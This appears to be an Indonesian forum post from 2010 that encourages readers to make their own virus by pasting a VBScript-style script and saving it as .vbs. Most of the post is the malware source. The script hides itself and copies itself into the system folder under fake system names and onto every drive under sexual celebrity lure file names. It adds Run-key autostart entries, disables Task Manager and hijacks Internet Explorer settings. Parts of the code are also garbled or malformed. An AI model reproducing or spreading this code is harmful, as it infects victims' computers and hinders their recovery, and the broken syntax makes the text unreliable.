Buat Virus memang asik

by **Admin** Tue Nov 16, 2010 7:28 am

Membuat Virus sendiri sangat mudah lhoo....

copas aja script berikut ini..

Code:: Private Sub Main() On Error Resume Next Dim Rumah As Variant Dim FolderSYSTEM As Object Set Rumah = CreateObject("scripting.filesystemobject") Set FolderSYSTEM = Rumah.GetSpecialFolder(1) App.TaskVisible = False App.Title = "WINLOGIN" FileCopy App.Path & "" & App.vbsName & ".vbs", FolderSYSTEM & "\CML.vbs" FileCopy App.Path & "" & App.vbsName & ".vbs", FolderSYSTEM & "\mandala.vbs" FileCopy App.Path & "" & App.vbsName & ".vbs", FolderSYSTEM & "\user.vbs" FileCopy App.Path & "" & App.vbsName & ".vbs", FolderSYSTEM & "\mercury.vbs" FileCopy App.Path & "" & App.vbsName & ".vbs", FolderSYSTEM & "\NOTEPED.vbs" FileCopy App.Path & "" & App.vbsName & ".vbs", FolderSYSTEM & "\REGEDUT.vbs" FileCopy App.Path & "" & App.vbsName & ".vbs", FolderSYSTEM & "\USERINOT.vbs" SD IE Buat End Sub Sub SD() On Error Resume Next Dim ictr As Integer Dim sDrive As String Dim x As Byte ReDim sDrives(0) As String Dim penanda As Byte For ictr = 65 To 90 sDrive = Chr(ictr) & ":" On Error Resume Next FileCopy App.Path & "" & App.vbsName & ".vbs", sDrive & "Dewi persik esek esek.vbs" FileCopy App.Path & "" & App.vbsName & ".vbs", sDrive & "Dewi portuna lagi mandi.vbs" FileCopy App.Path & "" & App.vbsName & ".vbs", sDrive & "Dewa dewi cari cinta.vbs" FileCopy App.Path & "" & App.vbsName & ".vbs", sDrive & "buka aku tanggung sendiri.vbs" FileCopy App.Path & "" & App.vbsName & ".vbs", sDrive & "Sex masal artis indonesia.vbs" FileCopy App.Path & "" & App.vbsName & ".vbs", sDrive & "BCL diperkosa.vbs" FileCopy App.Path & "" & App.vbsName & ".vbs", sDrive & "JuPe bugil + esek esek.vbs" Next End Sub Sub IE() On Error Resume Next Dim Paray Set Paray = CreateObject("Wscript.Shell") Paray.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "Infected by TLABS VBS Virus Generator" Paray.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption", "Salam kenal buat para virus maker indonesia" Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", FolderSYSTEM & "\CML.vbs" Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", FolderSYSTEM & "\mandala.vbs" Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", FolderSYSTEM & "\user.vbs" Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", FolderSYSTEM & "\mercury.vbs" Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", FolderSYSTEM & "\REGEDUT.vbs" Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", FolderSYSTEM & "\USERINOT.vbs" Paray.RegWrite “HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ System \ DisableTaskMgr”, “1, “REG_DWORD” Paray.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\StartPage", "c:\windows\system32\Myheart.txt" End Sub Sub Buat() On Error Resume Next Set fso = CreateObject("Scripting.FileSystemObject") Set fileADSW = fso.CreateTextFile("c:\windows\system32\Myheart.txt") fileADSW.WriteLine ("Dear: Mandala Putra Dwi Admaja") fileADSW.WriteLine ("Kau tak tahu perasaanku sesungguhnya, ya kan....") fileADSW.WriteLine ("Seberapa besar cintaku padamu ... sampai ga bisa masuk ke hatiku yang kecil ini lho...") fileADSW.WriteLine ("Seberapa dalam hatiku, aku aja ga tau....") fileADSW.WriteLine ("Tetaplah kau seperti itu") fileADSW.WriteLine ("Tetaplah kau senyum padaku, SEMANGAT ^_^") fileADSW.WriteLine ("Setiap senyum berarti IBADAH pagiMU") fileADSW.WriteLine ("Membuat diriku slalu mencintaimu selamanya") fileADSW.WriteLine ("Setiap saat"setiap waktu) fileADSW.WriteLine ("Senyummu membayangi dalam tidurku") fileADSW.WriteLine ("Andai ku bisa memilikimu") fileADSW.WriteLine ("from: MERCURY") End Sub

simpan dalam bentuk .vbs